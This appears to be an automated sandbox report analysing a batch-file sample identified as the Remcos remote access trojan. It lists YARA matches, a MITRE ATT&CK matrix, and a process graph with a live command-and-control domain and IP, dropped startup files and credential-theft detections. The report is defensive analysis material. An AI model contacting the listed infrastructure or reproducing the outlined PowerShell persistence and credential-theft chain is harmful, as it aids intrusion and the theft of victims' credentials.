                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000024.00000002.2996548604.0000000008937000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2674769480.0000000008E27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4114322266.0000000008BB7000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3664827412.0000000008777000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2812710908.0000000008A27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000003D.00000002.4489261708.0000000008C07000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.3538098442.0000000000B66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2665236037.000000000841F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2318149886.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.2991295118.0000000002EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2974752181.00000000070B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2486988163.0000000008344000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3644352502.00000000081C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2987241095.000000000802F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000002E.00000002.3374030025.0000000008F37000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2807960981.00000000080DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2489638672.0000000008887000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.3167840434.0000000009157000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4878837381.0000000008B7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4066556135.0000000008600000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4928229851.0000000009127000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED

                        Mitre Att&ck Matrix

                        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                        Gather Victim Identity Information1
                        Scripting                        		Valid Accounts111
                        Native API                        		1
                        Scripting                        		1
                        DLL Side-Loading                        		11
                        Deobfuscate/Decode Files or Information                        		1
                        OS Credential Dumping                        		1
                        System Time Discovery                        		Remote Services12
                        Archive Collected Data                        		1
                        Ingress Tool Transfer                        		Exfiltration Over Other Network MediumAbuse Accessibility Features
                        CredentialsDomainsDefault Accounts22
                        Command and Scripting Interpreter                        		1
                        DLL Side-Loading                        		1
                        Access Token Manipulation                        		2
                        Obfuscated Files or Information                        		11
                        Input Capture                        		1
                        Account Discovery                        		Remote Desktop Protocol1
                        Data from Local System                        		11
                        Encrypted Channel                        		Exfiltration Over BluetoothNetwork Denial of Service
                        Email AddressesDNS ServerDomain Accounts2
                        PowerShell                        		1
                        Office Application Startup                        		111
                        Process Injection                        		1
                        Software Packing                        		1
                        Credentials in Registry                        		3
                        File and Directory Discovery                        		SMB/Windows Admin Shares11
                        Input Capture                        		1
                        Non-Standard Port                        		Automated ExfiltrationData Encrypted for Impact
                        Employee NamesVirtual Private ServerLocal AccountsCron2
                        Registry Run Keys / Startup Folder                        		2
                        Registry Run Keys / Startup Folder                        		1
                        DLL Side-Loading                        		NTDS16
                        System Information Discovery                        		Distributed Component Object Model2
                        Clipboard Data                        		1
                        Remote Access Software                        		Traffic DuplicationData Destruction
                        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                        Masquerading                        		LSA Secrets111
                        Security Software Discovery                        		SSHKeylogging2
                        Non-Application Layer Protocol                        		Scheduled TransferData Encrypted for Impact
                        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts121
                        Virtualization/Sandbox Evasion                        		Cached Domain Credentials121
                        Virtualization/Sandbox Evasion                        		VNCGUI Input Capture213
                        Application Layer Protocol                        		Data Transfer Size LimitsService Stop
                        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                        Access Token Manipulation                        		DCSync3
                        Process Discovery                        		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job111
                        Process Injection                        		Proc Filesystem1
                        Application Window Discovery                        		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                        Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
                        System Owner/User Discovery                        		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                        Behavior Graph

                        Hide Legend

                        Legend:

                        • Process
                        • Signature
                        • Created File
                        • DNS/IP Info
                        • Is Dropped
                        • Is Windows Process
                        • Number of created Registry Values
                        • Number of created Files
                        • Visual Basic
                        • Delphi
                        • Java
                        • .Net C# or VB.NET
                        • C, C++ or other language
                        • Is malicious
                        • Internet
                        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1612234 Sample: As7KZaO9Dy.bat Startdate: 11/02/2025 Architecture: WINDOWS Score: 100 86 abokirem.duckdns.org 2->86 88 geoplugin.net 2->88 90 0x0.st 2->90 98 Suricata IDS alerts for network traffic 2->98 100 Found malware configuration 2->100 102 Malicious sample detected (through community Yara rule) 2->102 106 16 other signatures 2->106 11 cmd.exe 1 2->11         started        14 cmd.exe 1 2->14         started        16 cmd.exe 1 2->16         started        18 12 other processes 2->18 signatures3 104 Uses dynamic DNS services 86->104 process4 signatures5 120 Suspicious powershell command line found 11->120 122 Bypasses PowerShell execution policy 11->122 20 cmd.exe 3 11->20         started        23 conhost.exe 11->23         started        25 cmd.exe 2 14->25         started        27 conhost.exe 14->27         started        29 cmd.exe 2 16->29         started        31 conhost.exe 16->31         started        33 cmd.exe 2 18->33         started        35 cmd.exe 18->35         started        37 22 other processes 18->37 process6 signatures7 108 Suspicious powershell command line found 20->108 39 powershell.exe 19 34 20->39         started        44 conhost.exe 20->44         started        46 powershell.exe 17 25->46         started        48 conhost.exe 25->48         started        50 powershell.exe 29->50         started        52 conhost.exe 29->52         started        54 2 other processes 33->54 56 2 other processes 35->56 58 20 other processes 37->58 process8 dnsIp9 92 abokirem.duckdns.org 37.120.208.40, 49710, 49712, 56379 M247GB Romania 39->92 94 0x0.st 168.119.145.117, 443, 49709, 49753 HETZNER-ASDE Germany 39->94 96 geoplugin.net 178.237.33.50, 49713, 80 ATOM86-ASATOM86NL Netherlands 39->96 80 C:\Users\user\...\StartupScript_eb7db44d.cmd, ASCII 39->80 dropped 82 C:\ProgramData\remcos\logs.dat, data 39->82 dropped 112 Detected Remcos RAT 39->112 114 Tries to steal Mail credentials (via file registry) 39->114 116 Maps a DLL or memory area into another process 39->116 118 2 other signatures 39->118 60 cmd.exe 39->60         started        62 powershell.exe 14 39->62         started        66 powershell.exe 1 39->66         started        68 powershell.exe 1 39->68         started        file10 signatures11 process12 file13 70 cmd.exe 60->70         started        73 conhost.exe 60->73         started        84 C:\Users\user\...\xiwpgftnewcebsxtokyugqisw, Unicode 62->84 dropped 126 Tries to harvest and steal browser information (history, passwords, etc) 62->126 signatures14 process15 signatures16 110 Suspicious powershell command line found 70->110 75 powershell.exe 70->75         started        78 conhost.exe 70->78         started        process17 signatures18 124 Detected Remcos RAT 75->124

                        Screenshots

                        Thumbnails

                        This section contains all screenshots as thumbnails, including those not shown in the slideshow.